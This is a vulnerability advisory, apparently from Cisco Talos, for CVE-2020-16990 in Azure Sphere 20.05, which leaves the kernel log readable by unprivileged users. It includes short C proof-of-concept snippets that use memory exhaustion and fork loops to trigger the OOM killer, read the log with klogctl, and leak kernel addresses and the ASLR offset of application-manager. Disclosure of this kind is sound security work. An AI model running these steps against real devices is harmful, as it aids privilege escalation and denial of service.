CVE-2020-16990
An information disclosure vulnerability exists in the kernel message ring buffer functionality of Microsoft Azure Sphere 20.05. Unprivileged users can access the kernel message ring buffer, which can potentially leak sensitive information, such as kernel or userland memory addresses. An attacker can access the ring buffer via klogctl to trigger this vulnerability.
Microsoft Azure Sphere 20.05
https://azure.microsoft.com/en-us/services/azure-sphere/
4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CWE-732 - Incorrect Permission Assignment for Critical Resource
Microsoft’s Azure Sphere is a platform for the development of internet-of-things applications. It features a custom SoC that consists of a set of cores that run both high-level and real-time applications, enforces security and manages encryption (among other functions). The high-level applications execute on a custom Linux-based OS, with several modifications to make it smaller and more secure, specifically for IoT applications.
By default, the Linux kernel allows unprivileged users to read the kernel message ring buffer. This is controllable via the /proc/sys/kernel/dmesg_restrict
sysctl file.
The Azure Sphere Linux kernel leaves the dmesg_restrict
to 0, meaning that any unprivileged user can access the kernel logs, which can contain sensitive information that could ease further exploitation attempts.
Typically, this information is accessed via dmesg
. However there’s no such binary in the device, so an attacker should use the klogctl
function directly in order to access any data in the kernel logs, for example via a compromised application.
Depending on the kernel code being executed, its logs could contain different kind of sensitive information.
As an example, let’s assume that an attacker is able to crash an application (e.g. via a resource leak) in the device, via an unspecified channel.
If an attacker repeatedly hits the resource leak in order to exhaust memory, the OOM killer would trigger and kill the process. Such termination would be logged in the kernel logs via the function dump_backtrace_entry
(found in arch/arm/kernel/traps.c
).
To simulate this behavior, we can use an azure app with the following code:
#include <stdlib.h>
int main(void) {
while (1)
malloc(0x1000);
return 0;
}
After triggering such an OOM condition, an attacker could simply dump the ring buffer with the following code (e.g. from a compromised app):
char *buf = calloc(0x1001, 1);
klogctl(3, buf, 0x1000);
Example contents of buf
:
<4>[ 163.607715] app invoked oom-killer: gfp_mask=0x24000c0(GFP_KERNEL), nodemask=0, order=0, oom_score_adj=0
<4>[ 163.607776] CPU: 0 PID: 71 Comm: app Not tainted 4.9.213-mt3620-azure-sphere #1
<4>[ 163.607788] Hardware name: MediaTek MT3620
<4>[ 163.607843] Function entered at [<bf808909>] from [<bf8074ef>] [1]
<4>[ 163.607860] Function entered at [<bf8074ef>] from [<bf877617>]
<4>[ 163.607880] Function entered at [<bf877617>] from [<bf8586b1>]
<4>[ 163.607899] Function entered at [<bf8586b1>] from [<bf858bd9>]
<4>[ 163.607912] Function entered at [<bf858bd9>] from [<bf873a29>]
<4>[ 163.607928] Function entered at [<bf873a29>] from [<bf8761eb>]
<4>[ 163.607942] Function entered at [<bf8761eb>] from [<bf858c43>]
<4>[ 163.607955] Function entered at [<bf858c43>] from [<bf80adb5>]
<4>[ 163.607970] Function entered at [<bf80adb5>] from [<bf8011a9>]
<4>[ 163.607986] Function entered at [<bf8011a9>] from [<bf807ecf>]
<4>[ 163.608003] Exception stack(0xc0179fb0 to 0xc0179ff8) [2]
<4>[ 163.608023] 9fa0: 3f1e9bcc bef34ff8 00001ff8 00002001 [3]
<4>[ 163.608045] 9fc0: bef33000 bef32ff8 00000000 fffff000 3f1eaac4 00000000 00000000 00000000
<4>[ 163.608064] 9fe0: 3f1e92d0 beed7e40 3f1a38bd 3f1a393a 80000030 ffffffff
<6>[ 163.608077] Task in /apps/customer killed as a result of limit of /apps/customer
<6>[ 163.608118] memory: usage 440kB, limit 440kB, failcnt 328
<6>[ 163.608133] memory+swap: usage 0kB, limit 8589934588kB, failcnt 0
<6>[ 163.608146] kmem: usage 0kB, limit 8589934588kB, failcnt 0
<6>[ 163.608154] Memory cgroup stats for /apps/customer: cache:0KB rss:400KB rss_huge:0KB mapped_file:0KB dirty:0KB writeback:0KB inactive_anon:0KB active_anon:368KB inactive_file:0KB active_file:0KB unevictable:0KB
<6>[ 163.608218] [ pid ] uid tgid total_vm rss nr_ptes nr_pmds swapents oom_score_adj name
<6>[ 163.608255] [ 71] 1008 71 317 100 2 0 0 0 app
<3>[ 163.608270] Memory cgroup out of memory: Kill process 71 (app) score 927 or sacrifice child
<3>[ 163.608320] Killed process 71 (app) total-vm:1268kB, anon-rss:400kB, file-rss:0kB, shmem-rss:0kB
<6>[ 163.609683] oom_reaper: reaped process 71 (app), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
At [1] we can see references to kernel’s code, at [2] to kernel’s memory, and at [3] we can see the registers contents of the userland application that crashed.
An attacker could use this information to directly steal sensitive data (e.g. from the application’s registers), or to conduct further attacks, for example by gathering information about the kernel’s memory state.
Such information leak could also help bypassing ASLR of running applications (for example in the case it was a forking application), however an attacker would need a mean for exhausting the target application’s memory or create a resource pressure in the system. We’ll show below how this is applicable to leak the ASLR offset of application-manager
(the init process).
An application running in Azure Sphere’s normal world, does not have have any limit on the number of processes that it can spawn.
int getrlimit(int resource, void *rlim);
int main(void) {
struct rlimit {
unsigned long cur;
unsigned long max;
} r = { 0 };
getrlimit(6, &r); // get RLIMIT_NPROC
fprintf(stderr, "%ld %ld\n", r.cur, r.max);
}
Running this program, the output will be “-1 -1”, meaning that both soft and hard limits for RLIMIT_NPROC
is RLIM_INFINITY
.
Because of this, an application can spawn an unrestricted number of processes and cause a resource pressure on the system, triggering the oom-killer.
In kernels before 4.20 (see commit 3d8b38eb81cac81395f6a823f6bf401b327268e6 or https://lwn.net/Articles/761118/), the oom-killer works per-process and does not consider cgroups. This means that if there are many small processes, all spawned by one parent, they have a high probability of not being terminated by the oom-killer, because their score will be very low.
Because of this, in Azure Sphere, a process that calls fork()
indefinitely will eventually trigger the oom-killer. The process getting killed however is not the one that triggered the oom-killer, but the one with the highest oom_score
. Depending on the target process, an attacker could find a way to purposefully trick the target process into (temporarily) allocate resources, thus increasing the oom_score
. This could be exploited by an attacker that compromised an application, to kill a different (higher privileged) application that has a higher oom_score
.
This behavior can be used to target the application-manager
process. Since application-manager
is effectively the init
binary of the system, it has a forking nature: fork()
and execve()
are used to launch applications.
Because of this, when an application is killed (by executing multiple fork()
calls as described earlier), the application-manager
will soon try to restart it, executing again fork()
and execve()
calls. Because of the resource pressure, if the fork()
call succeeds but the execve()
is not reached (or fails), the system is going to have a child process of application-manager
(which has not yet execve
‘d the target application) that invokes the oom-killer.
This would cause application-manager
to invoke the oom-killer, having its registers logged in the kernel ring buffer, which is accessible by any user in the system. Effectively this would leak the ASLR offset of the application-manager
process, and possibly also that of other processes that have the same forking nature.
In pseudo-code, a proof-of-concept that leaks the ASLR offset for application-manager
(or any other app with high oom_score
) would be as follows:
for (int i = 0; i < 50; i++) { // loop over 50 child processes
int pid = fork();
if (pid == 0) {
sleep(15); // child just sleeps for 15 seconds
// to give time to the application-manager to restart the target app
return 0; // and then exits
}
usleep(100000); // wait 100ms between each fork() call
// so to give time the oom-killer to kill the target app
}
// wait for system to recover
...
// read dmesg (leak application-manager registers)
char *logbuf = malloc(0x10001);
klogctl(3, logbuf, 0x10000);
2020-05-28 - Vendor Disclosure
2020-07-31 - Public Release
2020-11-10 - CVE assigned
Discovered by Claudio Bozzato and Lilith >_> of Cisco Talos.